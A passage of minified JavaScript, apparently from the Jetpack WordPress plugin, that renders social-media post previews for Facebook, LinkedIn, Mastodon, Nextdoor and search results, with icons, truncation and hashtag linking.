${j}`,children:r&amp;&amp;(0,p.jsx)(&quot;img&quot;,{src:r,...y})}),(0,p.jsx)(&quot;div&quot;,{className:&quot;facebook-preview__text&quot;,children:(0,p.jsxs)(&quot;div&quot;,{className:&quot;facebook-preview__text-wrapper&quot;,children:[(0,p.jsx)(&quot;div&quot;,{className:&quot;facebook-preview__url&quot;,children:(0,o.GA)(e)}),(0,p.jsx)(&quot;div&quot;,{className:&quot;facebook-preview__title&quot;,children:(0,i.t2)(t)||(0,o.GA)(e)}),(0,p.jsxs)(&quot;div&quot;,{className:&quot;facebook-preview__description &quot;+(b?&quot;is-compact&quot;:&quot;&quot;),children:[s&amp;&amp;(0,i.B2)(s),x&amp;&amp;!s&amp;&amp;
// translators: Default description for a Facebook post
__(&quot;Visit the post for more.&quot;,&quot;jetpack&quot;)]}),(0,p.jsx)(&quot;div&quot;,{className:&quot;facebook-preview__info&quot;,children:(0,p.jsx)(d.A,{name:&quot;info&quot;})})]})})]})]}),(0,p.jsx)(c.A,{})]})}},44381(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(27723),n=s(98714),o=(s(84998),s(10790));const __=r.__,a=()=&gt;(0,o.jsx)(&quot;ul&quot;,{className:&quot;facebook-preview__post-actions&quot;,children:[{icon:&quot;like&quot;,
// translators: Facebook &quot;Like&quot; action
label:__(&quot;Like&quot;,&quot;jetpack&quot;)},{icon:&quot;comment&quot;,
// translators: Facebook &quot;Comment&quot; action
label:__(&quot;Comment&quot;,&quot;jetpack&quot;)},{icon:&quot;share&quot;,
// translators: Facebook &quot;Share&quot; action
label:__(&quot;Share&quot;,&quot;jetpack&quot;)}].map(({icon:e,label:t})=&gt;(0,o.jsxs)(&quot;li&quot;,{children:[(0,o.jsx)(n.A,{name:e}),(0,o.jsx)(&quot;span&quot;,{children:t})]},e))})},47176(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(27723),n=s(50513),o=s(98714),a=(s(78924),s(10790));const __=r.__,_x=r._x,i=({user:e,timeElapsed:t,hideOptions:s})=&gt;(0,a.jsxs)(&quot;div&quot;,{className:&quot;facebook-preview__post-header&quot;,children:[(0,a.jsxs)(&quot;div&quot;,{className:&quot;facebook-preview__post-header-content&quot;,children:[(0,a.jsx)(n._,{className:&quot;facebook-preview__post-header-avatar&quot;,src:e?.avatarUrl}),(0,a.jsxs)(&quot;div&quot;,{children:[(0,a.jsx)(&quot;div&quot;,{className:&quot;facebook-preview__post-header-name&quot;,children:e?.displayName||
// translators: name of a fictional Facebook User
__(&quot;Anonymous User&quot;,&quot;jetpack&quot;)}),(0,a.jsxs)(&quot;div&quot;,{className:&quot;facebook-preview__post-header-share&quot;,children:[(0,a.jsx)(&quot;span&quot;,{className:&quot;facebook-preview__post-header-time&quot;,children:t?__(
// translators: short version of `1 hour`
&quot;1h&quot;,&quot;jetpack&quot;):_x(
// translators: temporal indication of when a post was published
&quot;Just now&quot;,&quot;&quot;,&quot;jetpack&quot;)}),(0,a.jsx)(&quot;span&quot;,{className:&quot;facebook-preview__post-header-dot&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:&quot;·&quot;}),(0,a.jsx)(o.A,{name:&quot;public&quot;})]})]})]}),!s&amp;&amp;(0,a.jsx)(&quot;div&quot;,{className:&quot;facebook-preview__post-header-more&quot;})]})},98714(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(96929);var r=s(10790);const n=({name:e})=&gt;(0,r.jsx)(&quot;i&quot;,{className:`facebook-preview__post-icon facebook-preview__post-icon-${e}`})},54560(e,t,s){&quot;use strict&quot;;s.d(t,{m:()=&gt;u});var r=s(76223),n=s(92917),o=(s(27998),s(10790));const a=160,i=e=&gt;{const t=e.startsWith(&quot;https://&quot;)?&quot;https://&quot;:&quot;http://&quot;,s=t+e.replace(t,&quot;&quot;).split(&quot;/&quot;).join(&quot; › &quot;);return(0,r.RA)((0,r.f5)(68),(0,r.ZT)(68))(s)},l=(0,r.RA)((0,r.f5)(63),(0,r.y5)(23,73),(0,r.ZT)(63)),c=(0,r.RA)((0,r.f5)(a),(0,r.y5)(80,170),(0,r.ZT)(a)),u=({description:e=&quot;&quot;,siteIcon:t,siteTitle:s,title:a=&quot;&quot;,url:u=&quot;&quot;})=&gt;{const d=(0,r.GA)(u);return(0,o.jsx)(&quot;div&quot;,{className:&quot;search-preview&quot;,children:(0,o.jsxs)(&quot;div&quot;,{className:&quot;search-preview__display&quot;,children:[(0,o.jsxs)(&quot;div&quot;,{className:&quot;search-preview__header&quot;,children:[(0,o.jsxs)(&quot;div&quot;,{className:&quot;search-preview__branding&quot;,children:[(0,o.jsx)(n.F,{className:&quot;search-preview__icon&quot;,src:t}),(0,o.jsxs)(&quot;div&quot;,{className:&quot;search-preview__site&quot;,children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;search-preview__site--title&quot;,children:s||d}),(0,o.jsx)(&quot;div&quot;,{className:&quot;search-preview__url&quot;,children:i(u)})]})]}),(0,o.jsx)(&quot;div&quot;,{className:&quot;search-preview__menu&quot;,children:(0,o.jsx)(&quot;svg&quot;,{focusable:&quot;false&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,o.jsx)(&quot;path&quot;,{d:&quot;M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z&quot;})})})]}),(0,o.jsx)(&quot;div&quot;,{className:&quot;search-preview__title&quot;,children:l(a)}),(0,o.jsx)(&quot;div&quot;,{className:&quot;search-preview__description&quot;,children:c((0,r.$J)(e))})]})})}},76223(e,t,s){&quot;use strict&quot;;s.d(t,{$J:()=&gt;p,GA:()=&gt;a,RA:()=&gt;d,TR:()=&gt;v,X2:()=&gt;h,ZT:()=&gt;u,f5:()=&gt;l,hV:()=&gt;b,tX:()=&gt;g,ti:()=&gt;m,vI:()=&gt;f,x5:()=&gt;y,y5:()=&gt;c});var r=s(86087),n=s(27723),o=s(10790);const a=e=&gt;{const t=e.replace(/^[^/]+:\/\//,&quot;&quot;),s=t.indexOf(&quot;/&quot;);return-1===s?t:t.substring(0,s)},i=e=&gt;Array.from(e).length,l=e=&gt;t=&gt;i(t)&lt;=e&amp;&amp;t,c=(e,t)=&gt;s=&gt;{const r=s.slice(0,t),n=r.lastIndexOf(&quot; &quot;);return n&gt;e&amp;&amp;n&lt;t&amp;&amp;r.slice(0,n).concat(&quot;…&quot;)},u=e=&gt;t=&gt;{return(s=t,r=0,n=e,Array.from(s).slice(r,n).join(&quot;&quot;)).concat(&quot;…&quot;);var s,r,n},d=(...e)=&gt;t=&gt;e.find(e=&gt;!1!==e(t))?.(t),p=(e,t=[])=&gt;{const s=new RegExp(`(&lt;([^${t.join(&quot;&quot;)}&gt;]+)&gt;)`,&quot;gi&quot;);return e?e.replace(s,&quot;&quot;):&quot;&quot;},h=e=&gt;p(e).substring(0,50),m=(e,t)=&gt;new RegExp(`&lt;${t}[^&gt;]*&gt;`,&quot;gi&quot;).test(e),g=new Intl.DateTimeFormat(&quot;en-GB&quot;,{day:&quot;numeric&quot;,month:&quot;short&quot;}).format,f=new Intl.DateTimeFormat(&quot;en-US&quot;,{day:&quot;2-digit&quot;,month:&quot;2-digit&quot;,year:&quot;numeric&quot;}).format,b=new Intl.DateTimeFormat(&quot;en-US&quot;,{month:&quot;short&quot;,day:&quot;numeric&quot;}).format,v=new Intl.DateTimeFormat(&quot;en-US&quot;,{month:&quot;short&quot;,day:&quot;numeric&quot;,year:&quot;numeric&quot;}).format,k={twitter:&quot;https://twitter.com/hashtag/%1$s&quot;,facebook:&quot;https://www.facebook.com/hashtag/%1$s&quot;,linkedin:&quot;https://www.linkedin.com/feed/hashtag/?keywords=%1$s&quot;,instagram:&quot;https://www.instagram.com/explore/tags/%1$s&quot;,mastodon:&quot;https://%2$s/tags/%1$s&quot;,nextdoor:&quot;https://nextdoor.com/hashtag/%1$s&quot;,threads:&quot;https://www.threads.net/search?q=%1$s&amp;serp_type=tags&quot;,tumblr:&quot;https://www.tumblr.com/tagged/%1$s&quot;,bluesky:&quot;https://bsky.app/hashtag/%1$s&quot;};function y(e,t){const{platform:s,maxChars:a,maxLines:l,hyperlinkHashtags:c=!0,hyperlinkUrls:d=&quot;instagram&quot;!==s}=t;let h=p(e);if(h=h.replaceAll(/(?:\s*[\n\r]){2,}/g,&quot;\n\n&quot;),a&amp;&amp;i(h)&gt;a&amp;&amp;(h=u(a)(h)),l){const e=h.split(&quot;\n&quot;);e.length&gt;l&amp;&amp;(h=e.slice(0,l).join(&quot;\n&quot;))}const m={};if(d){(h.match(/(https?:\/\/\S+)/g)||[]).forEach((e,t)=&gt;{m[`Link${t}`]=(0,o.jsx)(&quot;a&quot;,{href:e,rel:&quot;noopener noreferrer&quot;,target:&quot;_blank&quot;,children:e}),h=h.replace(e,`&lt;Link${t} /&gt;`)})}if(c&amp;&amp;k[s]){const e=h.matchAll(/(^|\s)#(\w+)/g),r=k[s];[...e].forEach(([e,s,a],i)=&gt;{const l=(0,n.sprintf)(r,a,t.hashtagDomain);m[`Hashtag${i}`]=(0,o.jsx)(&quot;a&quot;,{href:l,rel:&quot;noopener noreferrer&quot;,target:&quot;_blank&quot;,children:`#${a}`}),h=h.replace(e,`${s}&lt;Hashtag${i} /&gt;`)})}return h=h.replace(/\n/g,&quot;&lt;br /&gt;&quot;),m.br=(0,o.jsx)(&quot;br&quot;,{}),(0,r.createInterpolateElement)(h,m)}},83476(e,t,s){&quot;use strict&quot;;s.d(t,{f:()=&gt;n});var r=s(10790);function n(e){return(0,r.jsx)(&quot;svg&quot;,{focusable:&quot;false&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,width:&quot;14&quot;,height:&quot;14&quot;,...e,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;currentColor&quot;,d:&quot;M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2v1.93zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39z&quot;})})}},13755(e,t,s){&quot;use strict&quot;;s.d(t,{v:()=&gt;r});const r=3e3},77123(e,t,s){&quot;use strict&quot;;s.d(t,{X:()=&gt;a});var r=s(76223),n=s(1798),o=s(10790);function a(e){return(0,o.jsx)(n.$,{name:&quot;&quot;,profileImage:&quot;&quot;,...e,description:&quot;&quot;,media:void 0,title:e.title||(0,r.X2)(e.description)})}},1798(e,t,s){&quot;use strict&quot;;s.d(t,{$:()=&gt;c});var r=s(27723),n=s(50513),o=s(76223),a=s(28469),i=s(13755),l=(s(57908),s(10790));const __=r.__;function c({articleReadTime:e=5,image:t,jobTitle:s,name:c,profileImage:u,description:d,media:p,title:h,url:m}){const g=!!p?.length;return(0,l.jsx)(&quot;div&quot;,{className:&quot;linkedin-preview__wrapper&quot;,children:(0,l.jsxs)(&quot;section&quot;,{className:&quot;linkedin-preview__container &quot;+(g?&quot;has-media&quot;:&quot;&quot;),children:[(0,l.jsxs)(&quot;div&quot;,{className:&quot;linkedin-preview__header&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;linkedin-preview__header--avatar&quot;,children:(0,l.jsx)(n._,{src:u})}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;linkedin-preview__header--profile&quot;,children:[(0,l.jsxs)(&quot;div&quot;,{className:&quot;linkedin-preview__header--profile-info&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;linkedin-preview__header--profile-name&quot;,children:c||__(&quot;Account Name&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;span&quot;,{children:&quot;•&quot;}),(0,l.jsx)(&quot;div&quot;,{className:&quot;linkedin-preview__header--profile-actor&quot;,children:
// translators: refers to the actor level of the post being shared, e.g. &quot;1st&quot;, &quot;2nd&quot;, &quot;3rd&quot;, etc.
__(&quot;1st&quot;,&quot;jetpack&quot;)})]}),s?(0,l.jsx)(&quot;div&quot;,{className:&quot;linkedin-preview__header--profile-title&quot;,children:s}):null,(0,l.jsxs)(&quot;div&quot;,{className:&quot;linkedin-preview__header--profile-meta&quot;,children:[(0,l.jsx)(&quot;span&quot;,{children:
// translators: refers to the time since the post was published, e.g. &quot;1h&quot;
__(&quot;1h&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;span&quot;,{children:&quot;•&quot;}),(0,l.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 16 16&quot;,fill:&quot;currentColor&quot;,width:&quot;16&quot;,height:&quot;16&quot;,focusable:&quot;false&quot;,children:(0,l.jsx)(&quot;path&quot;,{d:&quot;M8 1a7 7 0 107 7 7 7 0 00-7-7zM3 8a5 5 0 011-3l.55.55A1.5 1.5 0 015 6.62v1.07a.75.75 0 00.22.53l.56.56a.75.75 0 00.53.22H7v.69a.75.75 0 00.22.53l.56.56a.75.75 0 01.22.53V13a5 5 0 01-5-5zm6.24 4.83l2-2.46a.75.75 0 00.09-.8l-.58-1.16A.76.76 0 0010 8H7v-.19a.51.51 0 01.28-.45l.38-.19a.74.74 0 01.68 0L9 7.5l.38-.7a1 1 0 00.12-.48v-.85a.78.78 0 01.21-.53l1.07-1.09a5 5 0 01-1.54 9z&quot;})})]})]})]}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;linkedin-preview__content&quot;,children:[d?(0,l.jsxs)(&quot;div&quot;,{className:&quot;linkedin-preview__caption&quot;,children:[(0,l.jsx)(&quot;span&quot;,{children:(0,l.jsx)(a.MW,{text:d,children:e=&gt;(0,o.x5)(e,{platform:&quot;linkedin&quot;,maxChars:i.v})})}),g&amp;&amp;m&amp;&amp;!d.includes(m)&amp;&amp;(0,l.jsxs)(l.Fragment,{children:[&quot; - &quot;,(0,l.jsx)(&quot;a&quot;,{href:m,rel:&quot;nofollow noopener noreferrer&quot;,target:&quot;_blank&quot;,children:m})]})]}):null,g?(0,l.jsx)(&quot;div&quot;,{className:&quot;linkedin-preview__media&quot;,children:p.map((e,t)=&gt;(0,l.jsx)(&quot;div&quot;,{className:&quot;linkedin-preview__media-item&quot;,children:e.type.startsWith(&quot;video/&quot;)?(0,l.jsx)(&quot;video&quot;,{controls:!0,children:(0,l.jsx)(&quot;source&quot;,{src:e.url,type:e.type})}):(0,l.jsx)(&quot;img&quot;,{alt:e.alt||&quot;&quot;,src:e.url})},`linkedin-preview__media-item-${t}`))}):(0,l.jsxs)(&quot;article&quot;,{children:[t?(0,l.jsx)(&quot;img&quot;,{className:&quot;linkedin-preview__image&quot;,src:t,alt:&quot;&quot;}):null,m?(0,l.jsxs)(&quot;div&quot;,{className:&quot;linkedin-preview__description&quot;,children:[(0,l.jsx)(&quot;h2&quot;,{className:&quot;linkedin-preview__description--title&quot;,children:h||(0,o.X2)(d)}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;linkedin-preview__description--meta&quot;,children:[(0,l.jsx)(&quot;span&quot;,{className:&quot;linkedin-preview__description--url&quot;,children:(0,o.GA)(m)}),(0,l.jsx)(&quot;span&quot;,{children:&quot;•&quot;}),(0,l.jsx)(&quot;span&quot;,{children:(0,r.sprintf)(
// translators: %d is the number of minutes it takes to read the article
__(&quot;%d min read&quot;,&quot;jetpack&quot;),e)})]})]}):null]})]})]})})}},17562(e,t,s){&quot;use strict&quot;;s.d(t,{w:()=&gt;r});const r=&quot;mastodon.social&quot;},50710(e,t,s){&quot;use strict&quot;;s.d(t,{gD:()=&gt;n});var r=s(76223);const n=e=&gt;(0,r.RA)((0,r.f5)(200),(0,r.ZT)(200))((0,r.$J)(e))||&quot;&quot;},5874(e,t,s){&quot;use strict&quot;;s.d(t,{i:()=&gt;i});var r=s(74822),n=s(23163),o=s(39490),a=(s(44110),s(10790));const i=e=&gt;{const{user:t}=e;return(0,a.jsxs)(&quot;div&quot;,{className:&quot;mastodon-preview__post&quot;,children:[(0,a.jsx)(o.A,{user:t}),(0,a.jsx)(n.A,{...e,customImage:&quot;&quot;}),(0,a.jsx)(r.A,{})]})}},74822(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(16341);var r=s(10790);const n=()=&gt;(0,r.jsxs)(&quot;div&quot;,{className:&quot;mastodon-preview__post-actions&quot;,children:[(0,r.jsxs)(&quot;div&quot;,{children:[(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,height:&quot;24&quot;,viewBox:&quot;0 -960 960 960&quot;,width:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M760-200v-160q0-50-35-85t-85-35H273l144 144-57 56-240-240 240-240 57 56-144 144h367q83 0 141.5 58.5T840-360v160h-80Z&quot;})}),&quot; &quot;,(0,r.jsx)(&quot;span&quot;,{children:0})]}),(0,r.jsx)(&quot;div&quot;,{children:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,height:&quot;24&quot;,viewBox:&quot;0 -960 960 960&quot;,width:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M280-80 120-240l160-160 56 58-62 62h406v-160h80v240H274l62 62-56 58Zm-80-440v-240h486l-62-62 56-58 160 160-160 160-56-58 62-62H280v160h-80Z&quot;})})}),(0,r.jsx)(&quot;div&quot;,{children:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,height:&quot;24&quot;,viewBox:&quot;0 -960 960 960&quot;,width:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;m354-287 126-76 126 77-33-144 111-96-146-13-58-136-58 135-146 13 111 97-33 143ZM233-120l65-281L80-590l288-25 112-265 112 265 288 25-218 189 65 281-247-149-247 149Zm247-350Z&quot;})})}),(0,r.jsx)(&quot;div&quot;,{children:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,height:&quot;24&quot;,viewBox:&quot;0 -960 960 960&quot;,width:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M200-120v-640q0-33 23.5-56.5T280-840h400q33 0 56.5 23.5T760-760v640L480-240 200-120Zm80-122 200-86 200 86v-518H280v518Zm0-518h400-400Z&quot;})})}),(0,r.jsx)(&quot;div&quot;,{children:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,height:&quot;24&quot;,viewBox:&quot;0 -960 960 960&quot;,width:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M240-400q-33 0-56.5-23.5T160-480q0-33 23.5-56.5T240-560q33 0 56.5 23.5T320-480q0 33-23.5 56.5T240-400Zm240 0q-33 0-56.5-23.5T400-480q0-33 23.5-56.5T480-560q33 0 56.5 23.5T560-480q0 33-23.5 56.5T480-400Zm240 0q-33 0-56.5-23.5T640-480q0-33 23.5-56.5T720-560q33 0 56.5 23.5T800-480q0 33-23.5 56.5T720-400Z&quot;})})})]})},23163(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(27723),n=s(13022),o=s(76223),a=s(50710),i=(s(24716),s(10790));const __=r.__,l=({siteName:e,title:t,description:s,url:r,image:l,customImage:c})=&gt;(0,i.jsxs)(&quot;div&quot;,{className:(0,n.A)(&quot;mastodon-preview__card&quot;,{&quot;has-image&quot;:l}),children:[(0,i.jsx)(&quot;div&quot;,{className:&quot;mastodon-preview__card-img&quot;,children:l||c?(0,i.jsx)(&quot;img&quot;,{src:l||c,alt:__(&quot;Mastodon preview thumbnail&quot;,&quot;jetpack&quot;)}):(0,i.jsx)(&quot;div&quot;,{className:&quot;mastodon-preview__card-img--fallback&quot;,children:(0,i.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,height:&quot;24&quot;,viewBox:&quot;0 -960 960 960&quot;,width:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,i.jsx)(&quot;path&quot;,{d:&quot;M320-240h320v-80H320v80Zm0-160h320v-80H320v80ZM240-80q-33 0-56.5-23.5T160-160v-640q0-33 23.5-56.5T240-880h320l240 240v480q0 33-23.5 56.5T720-80H240Zm280-520h200L520-800v200Z&quot;})})})}),(0,i.jsxs)(&quot;div&quot;,{className:&quot;mastodon-preview__card-text&quot;,children:[(0,i.jsx)(&quot;span&quot;,{className:&quot;mastodon-preview__card-site&quot;,children:e||(0,o.GA)(r)}),(0,i.jsx)(&quot;span&quot;,{className:&quot;mastodon-preview__card-title&quot;,children:(0,a.gD)(t)||(0,o.X2)(s)}),(0,i.jsx)(&quot;span&quot;,{className:&quot;mastodon-preview__card-description&quot;,children:(0,o.$J)(s)})]})]})},39490(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(27723),n=s(50513),o=s(76223),a=s(17562),i=s(12625),l=(s(16585),s(10790));const __=r.__,c=({user:e})=&gt;{const{displayName:t,address:s,avatarUrl:r}=e||{};return(0,l.jsxs)(&quot;div&quot;,{className:&quot;mastodon-preview__post-header&quot;,children:[(0,l.jsxs)(&quot;div&quot;,{className:&quot;mastodon-preview__post-header-user&quot;,children:[(0,l.jsx)(n._,{className:&quot;mastodon-preview__post-avatar&quot;,src:r}),(0,l.jsxs)(&quot;div&quot;,{children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;mastodon-preview__post-header-displayname&quot;,children:t||
// translators: username of a fictional Mastodon User
__(&quot;anonymous-user&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;div&quot;,{className:&quot;mastodon-preview__post-header-username&quot;,children:s?.replace(`@${a.w}`,&quot;&quot;)||&quot;@username&quot;})]})]}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;mastodon-preview__post-header-audience&quot;,children:[(0,l.jsx)(i.f,{}),(0,o.TR)(new Date)]})]})}},12625(e,t,s){&quot;use strict&quot;;s.d(t,{f:()=&gt;n});var r=s(10790);function n(){return(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,height:&quot;15&quot;,viewBox:&quot;0 -960 960 960&quot;,width:&quot;15&quot;,role:&quot;img&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M480-80q-83 0-156-31.5T197-197q-54-54-85.5-127T80-480q0-83 31.5-156T197-763q54-54 127-85.5T480-880q83 0 156 31.5T763-763q54 54 85.5 127T880-480q0 83-31.5 156T763-197q-54 54-127 85.5T480-80Zm-40-82v-78q-33 0-56.5-23.5T360-320v-40L168-552q-3 18-5.5 36t-2.5 36q0 121 79.5 212T440-162Zm276-102q20-22 36-47.5t26.5-53q10.5-27.5 16-56.5t5.5-59q0-98-54.5-179T600-776v16q0 33-23.5 56.5T520-680h-80v80q0 17-11.5 28.5T400-560h-80v80h240q17 0 28.5 11.5T600-440v120h40q26 0 47 15.5t29 40.5Z&quot;})})}},73192(e,t,s){&quot;use strict&quot;;s.d(t,{v:()=&gt;r});const r=65e3},28236(e,t,s){&quot;use strict&quot;;s.d(t,{$:()=&gt;l});var r=s(27723),n=s(38013),o=s(30073),a=s(78607),i=s(10790);const __=r.__;function l(){return(0,i.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__footer--actions&quot;,children:[(0,i.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__footer--actions-item&quot;,children:[(0,i.jsx)(o.p,{}),(0,i.jsx)(&quot;span&quot;,{children:__(&quot;Like&quot;,&quot;jetpack&quot;)})]}),(0,i.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__footer--actions-item&quot;,children:[(0,i.jsx)(n.T,{}),(0,i.jsx)(&quot;span&quot;,{children:__(&quot;Comment&quot;,&quot;jetpack&quot;)})]}),(0,i.jsxs)(&quot;div&quot;,{className:&quot;nextdoor-preview__footer--actions-item&quot;,children:[(0,i.jsx)(a.l,{}),(0,i.jsx)(&quot;span&quot;,{children:__(&quot;Share&quot;,&quot;jetpack&quot;)})]})]})}},96739(e,t,s){&quot;use strict&quot;;s.d(t,{z:()=&gt;n});var r=s(10790);function n(){return(0,r.jsx)(&quot;svg&quot;,{width:&quot;20&quot;,height:&quot;20&quot;,viewBox:&quot;0 0 20 20&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;#dfe1e4&quot;,fillRule:&quot;evenodd&quot;,d:&quot;M7.127 13.876a.732.732 0 1 0 1.035 1.035l4.75-4.749a.732.732 0 0 0 0-1.035L8.123 4.34A.732.732 0 0 0 7.09 5.375l4.27 4.27-4.232 4.23Z&quot;})})}},38013(e,t,s){&quot;use strict&quot;;s.d(t,{T:()=&gt;n});var r=s(10790);function n(){return(0,r.jsx)(&quot;svg&quot;,{width:&quot;20&quot;,height:&quot;20&quot;,fill:&quot;none&quot;,viewBox:&quot;0 0 24 24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;currentColor&quot;,fillRule:&quot;evenodd&quot;,d:&quot;M2 10.031C2 5.596 5.574 2 10 2h4c4.427 0 8 3.596 8 8.031 0 4.435-3.573 8.031-8 8.031h-1.52a17.033 17.033 0 0 1-1.377 1.467c-.991.938-2.456 2.079-4.086 2.437a1.403 1.403 0 0 1-1.458-.565 1.55 1.55 0 0 1-.195-1.394c.28-.823.395-1.734.434-2.464.014-.257.018-.485.018-.672A8.017 8.017 0 0 1 2 10.031Zm5.798 6.178a7.02 7.02 0 0 1 .016.418c.005.252.004.606-.019 1.023-.03.573-.103 1.285-.266 2.024.775-.377 1.54-.974 2.202-1.598a15.066 15.066 0 0 0 1.448-1.586l.017-.022.003-.004a1 1 0 0 1 .801-.402h2c3.314 0 6-2.692 6-6.03C20 6.691 17.314 4 14 4h-4c-3.314 0-6 2.692-6 6.031 0 2.336 1.32 4.36 3.258 5.359.308.159.515.474.54.82Z&quot;,clipRule:&quot;evenodd&quot;})})}},84247(e,t,s){&quot;use strict&quot;;s.d(t,{z:()=&gt;n});var r=s(10790);function n(){return(0,r.jsx)(&quot;div&quot;,{className:&quot;nextdoor-preview__default-image&quot;,children:(0,r.jsxs)(&quot;svg&quot;,{width:&quot;24&quot;,height:&quot;24&quot;,fill:&quot;none&quot;,viewBox:&quot;0 0 24 24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,color:&quot;#055c00&quot;,children:[(0,r.jsx)(&quot;path&quot;,{fill:&quot;currentColor&quot;,d:&quot;M13.207 5.207c1.51-1.51 4.076-1.51 5.586 0 1.51 1.51 1.51 4.076 0 5.586l-2.1 2.1c-1.51 1.51-4.077 1.51-5.586 0a1 1 0 1 0-1.414 1.414c2.29 2.29 6.123 2.29 8.414 0l2.1-2.1c2.29-2.29 2.29-6.124 0-8.414s-6.124-2.29-8.414 0l-.7.7a1 1 0 0 0 1.414 1.414l.7-.7Z&quot;}),(0,r.jsx)(&quot;path&quot;,{fill:&quot;currentColor&quot;,d:&quot;M7.307 11.107c1.51-1.51 4.076-1.51 5.586 0a1 1 0 0 0 1.414-1.414c-2.29-2.29-6.124-2.29-8.414 0l-2.1 2.1c-2.29 2.29-2.29 6.123 0 8.414 2.29 2.29 6.124 2.29 8.414 0l.7-.7a1 1 0 0 0-1.414-1.414l-.7.7c-1.51 1.51-4.076 1.51-5.586 0-1.51-1.51-1.51-4.076 0-5.586l2.1-2.1Z&quot;})]})})}},10569(e,t,s){&quot;use strict&quot;;s.d(t,{f:()=&gt;n});var r=s(10790);function n(){return(0,r.jsx)(&quot;svg&quot;,{width:&quot;14&quot;,height:&quot;14&quot;,fill:&quot;none&quot;,viewBox:&quot;0 0 24 24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;currentColor&quot;,fillRule:&quot;evenodd&quot;,d:&quot;M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm9.495-7.643c.286-.335.46-.357.505-.357.045 0 .219.022.505.357.282.33.581.868.852 1.619.464 1.283.79 3.034.872 5.024H9.771c.082-1.99.408-3.741.871-5.024.272-.751.571-1.289.854-1.62ZM7.77 11c.084-2.181.439-4.171.992-5.704.093-.255.192-.502.298-.738A8.009 8.009 0 0 0 4.062 11h3.707Zm-3.707 2h3.707c.084 2.181.439 4.171.992 5.704.093.255.192.502.298.738A8.009 8.009 0 0 1 4.062 13Zm15.876-2a8.009 8.009 0 0 0-4.997-6.442c.106.236.205.483.298.738.553 1.533.908 3.523.992 5.704h3.707Zm-3.707 2h3.707a8.009 8.009 0 0 1-4.997 6.442c.106-.236.205-.483.298-.738.553-1.533.908-3.523.992-5.704Zm-2.002 0c-.082 1.99-.408 3.741-.871 5.024-.272.751-.571 1.289-.854 1.62-.285.334-.46.356-.504.356-.045 